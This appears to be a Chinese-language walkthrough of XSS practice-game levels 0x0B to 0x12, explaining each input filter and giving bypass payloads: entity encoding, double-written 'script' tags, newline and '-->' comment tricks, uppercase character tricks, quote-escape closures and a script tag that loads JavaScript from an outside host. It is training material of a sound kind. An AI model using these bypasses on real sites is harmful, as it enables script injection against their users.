还是这个网站:地址
0x0B
此关使用toUpperCase
函数对于输入进行了转成大写的操作,对于大小写的问题,html
标签, 域名 不区分大小写,path
部分区分大小写。
按照官方的题解还是通过去引用外部的js
来绕过大小写的限制,让evil
服务器返回J.JS
就可以,但是用官方的那个js
仍然出现不能弹窗的情况,官方题解:<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
后来看到网上说使用uniocde
编码也可以解决绕过大小写,因为js
解析器在工作时回对unicode
先进行解码,例如这里会被先解析成alert(1)
从而实现弹窗,html
中unicode
编码格式:&#编码的十进制数值,一般的格式还有直接\u
开头的16
进制四位编码,一定是四位,否则报错。参考:
<img src="x" onerror=alert(1)>
0x0C
此关比上一关对了一层过滤,即将script
替换为空,且不论大小写,同样的还是可以使用上一关中官方的题解给的js
,只不过要绕过script
,可以通过双写来绕过<scrscriptipt>
,但是js
还是用不了。。。但是还是可以使用上一关的payload!!!
0x0D
此关是对于输入的< / " '
等进行了过滤,将其转换成空,并且在输入处进行了单行注释,这里可以通过使用换行符进行绕过,但换行仅能过单行注释,代码还是不能正常运行。
//使用换行符绕过前面的单行注释
alert(1);
得到:
<script>
// alert('
alert(1);')
</script>
由于后面跟着的 \') 违反了语法规则,alert(1);不会被执行,又发现上面的正则过滤过滤掉了 \<!-- 和 \/\/ 两种可能的注释,但其实 --> 可以注释掉所在行的内容,所以:
//换行,绕过前面的注释
alert(1); //再换一次行,否则会被后面的注释符注释掉
-->//单行注释,注释后面的多余信息
0x0E
此关对于所有以<
开头的加任意大小写字符的进行替换为<_
且再将所有小写字母换成大写。查阅了资料发现,阿拉伯字母ſ
大写是正常的S
,从而可以绕过<script>
限制,再就还是用外链的方式加载外部js,但是没有弹窗,求大佬解答,这是为啥子?
0x0F
这个转义过滤看似很严格,但是对html标签内部字符的转义是没有意义的(html会先把它们转义回来再解析),直接当这个过滤不存在就行。
');alert('1
0x10
这关直接将输入赋给window.data
,而window
是浏览器的窗口,且这里没有做过滤,所以直接先闭合语句,再赋值alert(1)
,此外直接赋值alert(1)也可以
。
1: '';alert(1)
2: alert(1)
0x11
此关过滤了一堆字符,在其前多加了一个反斜号,这种情况我们就可以利用替换后的字符构造语句。"
被转义成\"
正好可以闭合console.log("\")
,而后使用分号闭合语句后就可尝试构造弹窗语句,然后//
注释后面的字符。此外除了用注释符注释后面语句,还可以用引号包裹alert
所要弹出内容让其与后面引号匹配
1 : ");alert(1)//
2 : ");alert("1
0x12
此关首先是将"
替换为\\"
,在是对于输入使用单引号包裹。这里我们还是可以使用转义后的语句尝试闭合和构造语句,先使用一个"
会发现只是被替换成\"
,此时添进去的引号被没有起到闭合的作用。
所以就要再多加一个\
,使得其变成\\"
这是转义后的双引号,他就可以起到闭合的作用了,但此时还未能是括号闭合所以还要写成\")
才能完成。
闭合好前面语句后,由于这里没有其他过滤操作了,所以在使用分号分隔两句之后就可以直接使用语句弹窗\");alert(1)。
但是这里会发现在语句的最后还多了一开始的")
,这里直接注释掉即可。
\");alert(1)//